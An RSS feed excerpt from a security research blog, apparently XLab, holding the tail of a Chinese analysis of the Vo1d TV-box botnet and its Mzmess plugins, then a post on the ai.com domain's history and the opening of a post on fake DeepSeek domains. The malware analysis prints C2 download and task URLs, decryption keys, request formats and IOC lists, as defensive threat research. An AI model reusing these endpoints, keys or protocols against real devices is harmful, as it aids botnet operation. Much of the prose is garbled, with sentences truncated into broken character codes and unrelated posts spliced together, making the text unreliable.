alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">
 同样另一个核心IP 3.132.75.97
也符合多端口多域名分流这一模式。
 <img
src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_port2.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> <h2 id="part3-%E4%B8%9A%E5%8A%A1%E5%88%86%E6%9E%90">Part3: 业务分析</h2>
目前Drweb以及XLab对Vo1d僵尸网络的逆向分析只&#x56DE
它能做什么
这个问题，我们对于如此大规模的一&#x4E2
在做什么
依然是一片空白。为了回答这个问题&#xFF0
<code>XLab指令跟踪系统
</code>中实现了Vo1d的网络协议。正所谓"有心&#x4EB

2025年1月2日，我们成功捕获一条指令，解&#x5BC

 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_json.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:50%;"> <h3 id="1-dexloader">1. DexLoader</h3> DexLoader中的DEX
payload同样也是通过asr_xxtea算法加密，秘钥为的
<code>d99202323077ee9e</code>。解密出的DEX只是一个”骨架“&#xFF0C
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_emptymethod.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom: 60%;">
经过restore_dex，restore_dex_header俩个函数还原之后，payload补
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_restoremethod.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:60%;">
以下是我们捕获的部分DexLoader，及其对应的DEX
paylaod，以及启动参数。下文将主要分析p8232，p89
Mzmess。 <table> <thead> <tr> <th>DexLoader Name</th> <th>Dex package name</th> <th>Parameter</th> </tr> </thead>
<tbody> <tr> <td>p7332</td> <td>com.rmk.app.AllPlayer</td> <td>SJ008</td> </tr> <tr> <td>p8232</td> <td>com.nasa.cook.CookInit</td>
<td>wx717</td> </tr> <tr> <td>p8932</td> <td>com.nasa.cook.CookInit</td> <td>mx1220</td> </tr> </tbody> </table>

简单来说，Mzmess是一个模块化的Android恶意家族&#x3部分组成，它们各自的分工如下：
entry负责下载sdk
sdk负责自身的更新，以及管理下载plugin
plugin即各种业务功能，如代理，广告刷量&#x7B
  <h3 id="2-mzmess-entry">2. Mzmess Entry</h3>
Entry是一个downloader，主要功能是下载sdk。为了防&#
<code>逐字节异或</code>的加密方式。 <img
src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_mzxor.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;">
以下为解密后的字串，其中比较重要的&#x6
 <pre><code>f136a http://dcsdk.100ulife.com/sdkbin f137b https://dcsdk.100ulife.com/sdkbin f138c http://dcsdk.100ulife.com/reportcompbin
f139d https://dcsdk.100ulife.com/reportcompbin f140e http://dcsdkos.dc16888888.com/sdkbin f141f https://dcsdkos.dc16888888.com/sdkbin f142g
http://dcsdkos.dc16888888.com/reportcompbin f143h https://dcsdkos.dc16888888.com/reportcompbin f144i data f145j versionNo f146k url f147l md5
f148m channel f149n terminalVersion f150o deviceId f151p packageName f152q mac f153r androidId f154s init f155t showAdvert f156u kill f157v
dalvik.system.DexClassLoader f158w loadClass f159x com.sun.galaxy.lib.OceanInit f160y letu f161z .jar f130A /com/ocean/zoe/letu.jet f131B
java.lang.ClassLoader f132C getClassLoader f133D AES f134E DE252F9AC7624D723212E7E70972134D f135F KEY_SHELL_BURY </code></pre>
本次样本中使用的是dc16888888域名的https版本，&#x51
  c2 https[:]//dcsdkos.dc16888888.com/sdkbin
reporter https[:]//dcsdkos.dc16888888.com/reportcompbin
样本通过POST请求 c2
url获取下一阶段SDK，在网络请求的构造上的H
<code>version</code>和<code>channel</code>，而body则使用AES-256
ECB模式加密，其中version硬编码在样本中，channel&#x521
<code>DE252F9AC7624D723212E7E70972134D</code>。reporter处理过程类似，只是bo
  Header <pre><code class="language-json"> { "Accept": "*/*", "Connection": "Keep-
Alive", "Content-Type": "application/json", "charset": "utf-8",
"channel":"wx717", "version":"1013", } </code></pre> Body <pre><code
class="language-json">{ "channel": "wx717", "terminalVersion": 17, "deviceId":
"aabbccddaabbccddaabbccddaabbccdd", // md5 string "packageName":"com.nasa.cook",
"mac":"00:16:3e:4a:bc:d3", // lowercase mac string "androidId": "aabbccdd", "hasWebView":true
} </code></pre>
C2的返回使用同样的AES加密方式，解密后&#x5982
SDK。 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_mzret.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;"> <h3 id="3-mzmess-sdk">3. Mzmess SDK</h3>
SDK的主要功能是维护自身的升级更新，以&
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_mzsdkconf.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;">
plugin的也是通过POST方法请求，它的body部分使&#x752
 <pre><code>{"cdist":"", "channel":"wx717",
"deviceId":"aabbccddaabbccddaabbccddaabbccdd",// md5 string "localPluginInfos":[] } </code></pre>
C2对plugin请求的响应如下所示， <img
src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_mzpluginfo.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;">
SDK接收到此类响应后，通过AES解密，并根&#x636
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_mzpopan.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;"> <h3 id="4-mzmess-plugin">4. Mzmess Plugin</h3>
目前只捕获了4个不同的Plugin，我们直接根&#x63
<code>popa、jaguar、lxhwdg、spirit</code>。从这些Plugin的功能来看&#xFF0
 <h4 id="1-popa-plugin">1. popa plugin</h4> <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_popan.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;">
popa插件主要用于代理，样本中硬编码了9&#x4E2A
<code>https[:]//drive.usercontent.google.com/download?id=1K95AXo75gi-
jJSE9vuVPVEyBya0JUm0w</code>下载加密数据，使用AES-
ECB解密后获取，AES 秘钥为<code>eeorahrabcap286!</code>
。从解密后的数据来看，硬编码C2和网盘&#x4E
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_popaaes.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;"> 获得C2列表后，任选其一，和
<code>https://lb.%s:5002/devicereg</code>进行拼接，发送GET请求向其注&#x
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_devreg.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;">
最后通过TCP+SSL和ProxyC2建立连接，执行代理相&#x517
 <table> <thead> <tr> <th>MessageType</th> <th>Desc</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Register</td> </tr> <tr> <td>2</td>
<td>Register Reply</td> </tr> <tr> <td>3</td> <td>Ping</td> </tr> <tr> <td>4</td> <td>Pong</td> </tr> <tr> <td>5</td> <td>Open Tunnel</td>
</tr> <tr> <td>6</td> <td>Tunnel Status</td> </tr> <tr> <td>7</td> <td>Tunnel Message</td> </tr> <tr> <td>8</td> <td>Close Tunnel</td> </tr>
</tbody> </table> <h4 id="2-jaguar-plugin">2. jaguar plugin</h4> <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_jagu.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;">
jaguar插件的主要功能由native层的libjaguar.so实现，java层
<code>startAgent</code>。
和popa类似，该插件主要用于代理，首先通
 <pre><code>Register URL: http://jaguar-distributor.syslogcollector.com:12000/v1/agent/ctrl Response:
{"host":"128.1.71.243","port":21001} </code></pre>
目前我们收到了多个ProxyC2，端口都是21001，后
 <table> <thead> <tr> <th>cmd_type</th> <th>desc</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>start action</td> </tr> <tr> <td>2</td>
<td>register confirm</td> </tr> <tr> <td>3</td> <td>unknown</td> </tr> <tr> <td>4</td> <td>ping msg</td> </tr> <tr> <td>5</td> <td>pong
msg</td> </tr> </tbody> </table> 当cmd_type为1时主要为代理服务：
<table> <thead> <tr> <th>action_type</th> <th>desc</th> </tr> </thead> <tbody> <tr> <td>2</td> <td>new proxy client</td> </tr> <tr> <td>3</td>
<td>do req udp connect</td> </tr> <tr> <td>4</td> <td>send msg resp</td> </tr> <tr> <td>5</td> <td>send msg resp and exit</td> </tr> <tr>
<td>6</td> <td>speed test</td> </tr> </tbody> </table> <h4 id="3-lxhwdg-plugin">3. lxhwdg plugin</h4> <img
src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_lxhwdgn.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;"> lxhwdg
插件用于远程调用函数，通过wss协议连接C2&#
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_rpc.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> <h4 id="4-spirit-plugin">4. spirit plugin</h4> <img
src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_spirit.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;">
spirit插件支持执行javascript代码，用于广告推广&#xF

它通过以下步骤动态的获取C2下发的任务
   检查连接，获取uid <pre><code>GET http://task.moyu88.xyz/cpc/api/proxy/origin
Response：{"code":200,"data":"00bz7xh"} </code></pre>
获取动态任务，请求和响应的Payload都用RSA加&#
 <pre><code>POST http://task.moyu88.xyz/cpc/api/task Reponse: {"code":200,"data":
{"orderId":-1774990216,"tasks":[{"productId":0,"taskId":2097500401,"version":0}]}} </code>
</pre>   获取任务的具体息 <pre><code>GET
http://task.moyu88.xyz/cpc/api/xml?productId=0 返回： {"code":200,"data":
[{"productId":0,"script":"
{\"tagName\":\"return\",\"key\":\"no_route\"}","version":1701252910}],"msg":&q
</code></pre>
很明显productId可以进行爆破，以productId=43为例，C2&#x8F

 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_idbrute.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom: 33%;">
至此，Vo1d僵尸网络，以及Mzmess的业务分析完&#
 <h1
id="%E8%8A%B1%E7%B5%AE%EF%BC%9A%E8%8D%89%E8%9B%87%E7%81%B0%E7%BA%BF%EF%BC%8C%E6%8C%96%E6%8E%98%E6%9B%B4%E5%A4%9A%E7%9A%84%E8%B5%84%E4%BA%A7%EF%
</h1>
在溯源Vo1d僵尸网络的早期版本时，发现了
synntre.com，
remoredo.com，我们认为它们解析的IP3.17.255.32
是早期版本的核心C2 IP之一。 <img
src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_clue1.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:50%;"> 这些域名中，bitemores,meiboot已经被Dr
web披露为C2，那其它的呢？先看csskkjw.com，VT上有&#x4E
csskkjw.com/s3/b7027626，下载回来的b7027626是一个加密&#x7684
失败！真是让人失望啊。
某一天我们突然想起synntre.com的相关样本中还&
成功
得到一个DexLoader，坐实了csskkjw.com是Vo1d的资产，&#x5FC
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_rsane3.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:50%;">
随后我们整理剩余域名的解析历史，发&#x7
13.229.152.241，
18.139.54.2。3个IP间大量域名存在重叠，红框&
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_c23.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:50%;"> <h1 id="%E6%80%BB%E7%BB%93">总结</h1>
本文重点分析了Vo1d僵尸网络在新活动中引
C2机制、独特的Payload解密算法asr_xxtea，DGA，以及部&#
  从供应链角度来看
，部分设备制造商与黑产存在利益关&#x805
 从用户行为角度来看
，许多用户对电视盒子的安全性存在&#x8BA

我们仍在对Vo1d的商业模式进行深入挖掘，

这是我们目前掌握的Vo1d僵尸网络的大部分
X平台与我们联系。 <h1
id="ioc">IOC</h1> <h3 id="vo1d-c2">Vo1d C2</h3> <pre><code>ssl8rrs2.com ttekf42.com ttss442.com works883.com csskkjw.com catmore23.com
synntre.com csok997.com conannt.com qocoll.com haveits.com remoredo.com catmos99.com </code></pre> <h3 id="vo1d-downloader">Vo1d
Downloader</h3> <pre><code>ssl87362.com wowokeys.com 38.46.218.36 38.46.218.37 38.46.218.38 38.46.218.39 </code></pre> <h3 id="vo1d-
reporter">Vo1d Reporter</h3> <pre><code>works883.xyz catmore88.com </code></pre> <h3 id="vo1d-samples">Vo1d Samples</h3> <pre><code>
01a692df9deb5e8db620e4fb7e687836 jbf de8f69efdb29cdf5fd12dd7b74584696 jem 456e14aa644bd31d85e0fe6f78d8fc15 jfz 30da72fda6d0f5e3972272332d7fc47b
jhz fc7dc3c5306d6a508023160953168a16 jddx 53493b07fe423b1dbdc789803cbac7c1 jeex 2d6d91c5988dcab2eb4dab1ec55cfbb9 jtxx
9e116f9ad2ff072f02aa2ebd671582a5 s63 b447aaf52c1efad388612f8220969c35 vo1d </code></pre> <h3 id="vo1d-payload">Vo1d Payload</h3> <pre><code>##
with 5 bytes size&cmd 6bb3258b688f81dfd03128bccf18823b ts01 0c454831bdb679bdd083c5a7cc785733 p6332 bb6b9aec7d4bfa524c7c5117257e4d78 p7332
6168dafc5a1d297cf33b26b65db315cc p8232 4f4d5e37feda9e9556c816c100e1de30 p8932 d9126d936d505b9fa9a8278fda1daaae ts01.decrypt
5701ee051f80e92c1efc5ad32f8401d3 p6332.decrypt a07533a9504fff0756a8ba59ca0af4d6 p7332.decrypt 47c5bf4fbce983c2182ba103d2773dff p8232.decrypt
4efa4566794d86e033c2362cad05f1f8 p8932.decrypt ## without 5 bytes size&cmd 2de1775908db39f3c4edbb7a7d99268d b7027626
a774eb68f60621bfddd8db461d978c12 b7027626.decrypt </code></pre> <h3 id="mzmess-c2">Mzmess C2</h3> <pre><code>dcsdk.100ulife.com
dcsdkos.dc16888888.com 8.219.89.234 </code></pre> <h3 id="popa-c2">popa C2</h3> <pre><code>gmslb.net phonemesh.org linkmob.org peercon.org
phonegrid.org safernetwork.io lbk-sol.com sklstech.com kyc-holdings.com </code></pre> <h3 id="jaguar-c2">jaguar C2</h3> <pre><code>jaguar-
distributor.syslogcollector.com 38.61.8.14 38.61.8.31 69.28.62.49 69.28.62.39 156.236.118.48 69.28.62.51 38.61.8.11 38.61.8.13 69.28.62.38
156.236.118.27 69.28.62.60 38.61.8.33 69.28.62.52 69.28.62.50 38.61.8.12 128.1.71.243 69.28.62.48 69.28.62.41 69.28.62.42 69.28.62.61 </code>
</pre> <h3 id="lxhwdg-c2">lxhwdg C2</h3> <pre><code>g.sxim.me reg.sxim.me ref.sxim.me </code></pre> <h3 id="spirit">spirit</h3> <pre>
<code>task.mymoyu.shop task.moyu88.xyz task1.ziyemy.shop task2.ziyemy.shop adstat.moyu88.xyz adstat.ziyemy.shop:3389 adstat.ad3g.com
adstat2.ziyemy.shop update.ad3g.com spiritlib.cyou </code></pre> <h1 id="appendix">Appendix</h1> <h3 id="python-asr">Python ASR</h3> <pre>
<code>def asr(value, shift): """ Perform an arithmetic shift right (ASR) operation. :param value: The signed 32-bit integer
(treated as 32-bit) :param shift: The number of positions to shift. :return: The result of the arithmetic shift right. """ if
value & 0x80000000: # Check if MSB is set (negative number) return (value >> shift) | (0xFFFFFFFF << (32 - shift)) &
0xFFFFFFFF else: return value >> shift </code></pre>]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[顶级域名ai.com认证Deepseek? ai.com的前世今生]]>
</title>
<description>
<![CDATA[
在互联网世界中，顶级这个词常常被赋&#x4
 ]]>
</description>
<link>https://blog.xlab.qianxin.com/ding-ji-yu-ming-ai-com/</link>
<guid isPermaLink="false">67ac5ad86bb47b0001191045</guid>
<dc:creator>
<![CDATA[zhangzaifeng]]>
</dc:creator>
<pubDate>Fri, 14 Feb 2025 04:27:19 GMT</pubDate>
<content:encoded>
<![CDATA[
在互联网世界中，顶级这个词常常被赋&#x4
ai.com已被OpenAI
收购。这些信息听起来非常专业，似乎&#x786E
DeepSeek的迅速走红，市场上鱼龙混杂的信息&#x5927

本文正是基于我们的数据纬度，带大家&#x4
ai.com的真实历史和现状，帮助大家从纷繁&#x4x
<h2 id="aicom%E7%9A%84%E5%89%8D%E4%B8%96%E4%BB%8A%E7%94%9F">ai.com的前世今生</h2>
公开的whois数据显示，ai.com域名注册于1993年。
<h3 id="%E5%BE%85%E5%94%AE%E7%8A%B6%E6%80%81">待售状态</h3>
<blockquote>从我们自己的数据能够看到该域名的&#x4x
</blockquote>
2014年之后的该域名为待售状态，并且其待&#x
其一为：从2014年10月07日 ～
2019年3月这段时间，均属于<a
href="https://en.wikipedia.org/wiki/Future_Media_Architects?ref=blog.xlab.qianxin.com" rel="noreferrer"> FUTURE MEDIA ARCHITECTS, INC.
公司。Future Media
Architects 是一家已解散的互联网开发公司，&#x6210
2002
年，专注于收购和开发首屈一指的域名&#x548C
Web
资产。2019年3月该公司因为司法纠纷原因，&#

其二为： 2019年4月-2021年9月28日，ai.com属主进行&#x
buy.internettraffic.com, <a
href="http://sell.internettraffic.com/?ref=blog.xlab.qianxin.com" rel="noopener noreferrer">sell.internettraffic.com，
可以合理猜测其仍然处在待售状态。 <h3
id="%E8%B9%ADai%E7%83%AD%E7%82%B9%EF%BC%8C%E5%BE%85%E5%94%AE%E7%8A%B6%E6%80%81">蹭AI热点，待售状&#x60
</h3>
从2021年9月28日开始一直到现在，该域名的&#x54

```
</p><h2 id="%E6%95%B4%E4%BD%93%E6%97%B6%E9%97%B4%E7%BA%BF">&#x6574;&#x4F53;&#x65F6;&#x95F4;&#x7EBF;</h2><figure class="kg-card kg-image-card">
<img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-28.png" class="kg-image" alt loading="lazy" width="2000" height="999"
srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-28.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-28.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-28.png 1600w,
https://blog.xlab.qianxin.com/content/images/size/w2400/2025/02/image-28.png 2400w" sizes="(min-width: 720px) 720px"></figure>
<p>&#x4ECE;DNS&#x7684;&#x89E3;&#x6790;&#x7ED3;&#x679C;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#x8BE5;&#x57DF;&#x540D;&#x7684;&#x7C7B;&
</p><figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-31.png" class="kg-image" alt
loading="lazy" width="1608" height="910" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-31.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-31.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-31.png 1600w, https://blog.xlab.qianxin.com/content/images/2025/02/image-
31.png 1608w" sizes="(min-width: 720px) 720px"></figure><h3
id="cloudflare%E8%A7%A3%E6%9E%90%E7%9A%84ip%E5%9C%B0%E5%9D%80%E5%88%86%E6%9E%90">CloudFlare&#x89E3;&#x6790;&#x7684;IP&#x5730;&#x5740;&#x5206;&#
</h3><p>&#x6211;&#x4EEC;&#x5229;&#x7528;passiveDNS&#x6570;&#x636E;&#xFF08;&#x622A;&#x6B62;&#x5230;2025-02-
11&#xFF09;&#x5BF9;ai.com&#x89E3;&#x6790;&#x5230;&#x7684;Cloudflare&#x5730;&#x5740;&#x8FDB;&#x884C;&#x5206;&#x6790;&#x53D1;&#x73B0;&#xFF1A;</p>
<ol><li>&#x5728;2025-01-
01&#x4E4B;&#x540E;&#xFF0C;&#x8FD9;&#x4E24;&#x4E2A;IP&#x4E0A;&#x627F;&#x8F7D;&#x7684;&#x57DF;&#x540D;&#x5206;&#x522B;&#x4E3A;1830&#x548C;2157&#x
</li>
<li>&#x8FD9;&#x4E9B;&#x57DF;&#x540D;&#x4E2D;&#xFF0C;&#x8BBF;&#x95EE;&#x91CF;&#x6BD4;&#x8F83;&#x5927;&#x7684;&#x770B;&#x8D77;&#x6765;&#x90FD;&#x
</li></ol><figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-39.png" class="kg-image"
alt loading="lazy" width="1070" height="988" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-39.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-39.png 1000w, https://blog.xlab.qianxin.com/content/images/2025/02/image-
39.png 1070w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img
src="https://blog.xlab.qianxin.com/content/images/2025/02/image-38.png" class="kg-image" alt loading="lazy" width="1752" height="1574"
srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-38.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-38.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-38.png 1600w, https://blog.xlab.qianxin.com/content/images/2025/02/image-
38.png 1752w" sizes="(min-width: 720px) 720px"></figure>
<p>&#x6B64;&#x5916;&#x8FD8;&#x6709;&#x4E00;&#x4E9B;&#x4EFF;&#x5192;&#x5927;&#x7AD9;&#x7684;&#x4E1A;&#x52A1;&#x3002;&#x5982;&#x4E0B;&#x56FE;&#x4
(cdnmicrosoft[.]com)&#x7684;&#x57DF;&#x540D;&#x7684;&#x60C5;&#x51B5;&#x3002;</p><figure class="kg-card kg-image-card"><img
src="https://blog.xlab.qianxin.com/content/images/2025/02/image-32.png" class="kg-image" alt loading="lazy" width="2000" height="560"
srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-32.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-32.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-32.png 1600w,
https://blog.xlab.qianxin.com/content/images/size/w2400/2025/02/image-32.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3
id="web%E9%A1%B5%E9%9D%A2%E5%8E%86%E5%8F%B2">web&#x9875;&#x9762;&#x5386;&#x53F2;</h3><p>&#x5728;internetarchive&#x4E0A;&#x5BF9;ai.com
&#x7684;web&#x9875;&#x9762;&#x5386;&#x53F2;&#x5206;&#x6790;&#x3002;&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#xFF0C;2022&#x5E74;3&#x6708;&#x4EFD;&#x7684
</p><figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-35.png" class="kg-image" alt
loading="lazy" width="2000" height="636" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-35.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-35.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-35.png 1600w,
https://blog.xlab.qianxin.com/content/images/size/w2400/2025/02/image-35.png 2400w" sizes="(min-width: 720px) 720px"></figure>
<p>&#x5176;&#x540E;&#x8BE5;&#x57DF;&#x540D;&#x7684;&#x6307;&#x5411;&#x53D8;&#x5316;&#x8F83;&#x591A;&#xFF0C;&#x6BD4;&#x5982;2023&#x5E74;2&#x6708
</p><figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-33.png" class="kg-image" alt
loading="lazy" width="1902" height="1066" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-33.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-33.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-33.png 1600w, https://blog.xlab.qianxin.com/content/images/2025/02/image-
33.png 1902w" sizes="(min-width: 720px) 720px"></figure>
<p>&#x4ECE;2023&#x5E74;2&#x6708;20&#x53F7;&#x5F00;&#x59CB;&#xFF0C;&#x5B83;&#x5C31;&#x5F00;&#x59CB;&#x6307;&#x5411;&#x4E86;openai&#xFF0C;&#x968F
</p><figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-34.png" class="kg-image" alt
loading="lazy" width="1078" height="676" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-34.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-34.png 1000w, https://blog.xlab.qianxin.com/content/images/2025/02/image-
34.png 1078w" sizes="(min-width: 720px) 720px"></figure><p></p><h2
id="%E5%90%8D%E4%B8%8D%E5%89%AF%E5%AE%9E%E7%9A%84%E2%80%9C%E9%A1%B6%E7%BA%A7%E5%9F%9F%E5%90%8D%E2%80%9D">&#x540D;&#x4E0D;&#x526F;&#x5B9E;&#x768
</h2>
<p>&#x4ECE;&#x6570;&#x636E;&#x4E2D;&#x53EF;&#x4EE5;&#x770B;&#x5F97;&#x51FA;&#x6765;&#xFF0C;ai.com&#x8FD9;&#x4E2A;&#x57DF;&#x540D;&#x66FE;&#x7EC
<strong>&#x9876;&#x7EA7;
</strong>&#x201D;&#x5C5E;&#x6027;&#x3002;&#x5E76;&#x4E14;&#x5B83;&#x77ED;&#x671F;&#x5185;&#x5728;&#x591A;&#x4E2A;&#x4E0D;&#x540C;&#x7684;&#x70E
</p><h2 id="%E5%9F%9F%E5%90%8D%E5%85%B3%E8%81%94%E5%92%8C%E7%83%AD%E5%BA%A6">&#x57DF;&#x540D;&#x5173;&#x8054;&#x548C;&#x70ED;&#x5EA6;</h2>
<p>&#x6211;&#x4EEC;&#x5229;&#x7528;PassiveDNS&#x6570;&#x636E;&#x53EF;&#x4EE5;&#x8BA1;&#x7B97;&#x57DF;&#x540D;&#x4E4B;&#x95F4;&#x7684;&#x5173;&#
</p><figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-43.png" class="kg-image" alt
loading="lazy" width="2000" height="2003" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-43.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-43.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-43.png 1600w,
https://blog.xlab.qianxin.com/content/images/size/w2400/2025/02/image-43.png 2400w" sizes="(min-width: 720px) 720px"></figure>
<p>&#x4ECE;&#x6211;&#x4EEC;PassiveDNS&#x7684;&#x6570;&#x636E;&#x6765;&#x770B;&#xFF0C;ai.com&#x8FD9;&#x4E2A;&#x57DF;&#x540D;&#x7684;&#x8BBF;&#x9
</p><figure class="kg-card kg-image-card"><img src="https://blog.xlab.qianxin.com/content/images/2025/02/image-44.png" class="kg-image" alt
loading="lazy" width="2000" height="267" srcset="https://blog.xlab.qianxin.com/content/images/size/w600/2025/02/image-44.png 600w,
https://blog.xlab.qianxin.com/content/images/size/w1000/2025/02/image-44.png 1000w,
https://blog.xlab.qianxin.com/content/images/size/w1600/2025/02/image-44.png 1600w,
https://blog.xlab.qianxin.com/content/images/size/w2400/2025/02/image-44.png 2400w" sizes="(min-width: 720px) 720px"></figure><h2
id="%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%AE">&#x5B89;&#x5168;&#x5EFA;&#x8BAE;</h2>
<p>&#x4ECE;&#x6211;&#x4EEC;&#x7684;&#x6570;&#x636E;&#x770B;&#xFF0C;ai.com&#x5176;&#x5386;&#x53F2;&#x66F4;&#x591A;&#x662F;&#x4E00;&#x573A;&#x629
</p>
<p>&#x7528;&#x6237;&#x5343;&#x4E07;&#x4E0D;&#x8981;&#x628A;ai.com&#x8BBE;&#x7F6E;&#x4E3A;&#x81EA;&#x5DF1;&#x5BF9;AI&#x8BBF;&#x95EE;&#x7684;&#x5
</p><blockquote>&#x52D8;&#x8BEF;&#xFF1A;&#x6709;&#x7F51;&#x53CB;&#x6307;&#x51FA;&#xFF1A;saw.com
&#x662F;&#x4E00;&#x4E2A;&#x57DF;&#x540D;&#x4EA4;&#x6613;&#x6258;&#x7BA1;&#x5E73;&#x53F0;&#xFF0C;ai.com
&#x53EA;&#x662F;&#x88AB;&#x6258;&#x7BA1;&#x5230;&#x8FD9;&#x4E2A;&#x4EA4;&#x6613;&#x5E73;&#x53F0;&#x4E0A;&#xFF0C;&#x4E0D;&#x4EE3;&#x8868;&#x5728
&#x8FD9;&#x4E2A;&#x516C;&#x53F8;&#x7684;&#x624B;&#x4E2D;&#x3002;
&#x672C;&#x6587;&#x76F8;&#x5E94;&#x5185;&#x5BB9;&#x5DF2;&#x505A;&#x76F8;&#x5E94;&#x4FEE;&#x6539;&#x3002;</blockquote> ]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[ DeepSeek 出现大批仿冒域名并在持续增加中 ]]>
</title>
<description>
<![CDATA[ <p></p>
<p>&#x5728;&#x7F51;&#x7EDC;&#x5B89;&#x5168;&#x9886;&#x57DF;&#xFF0C;&#x7531;&#x4E8E;&#x5927;&#x89C4;&#x6A21;&#x7684;&#x57FA;&#x7840;&#x6570;&#x6
</p> ]]>
</description>
<link>https://blog.xlab.qianxin.com/fake-deepseek-domains-are-created-rappidly/</link>
<guid isPermaLink="false">679ee7876bb47b0001190937</guid>
<category>
<![CDATA[ PassiveDNS ]]>
</category>
<category>
<![CDATA[ Whoisdata ]]>
</category>
<dc:creator>
<![CDATA[ zhangzaifeng ]]>
</dc:creator>
<pubDate>Mon, 03 Feb 2025 01:16:25 GMT</pubDate>
<media:content url="https://blog.xlab.qianxin.com/content/images/2025/02/header_img.png" medium="image"/>
<content:encoded>
<![CDATA[ <img src="https://blog.xlab.qianxin.com/content/images/2025/02/header_img.png" alt="DeepSeek
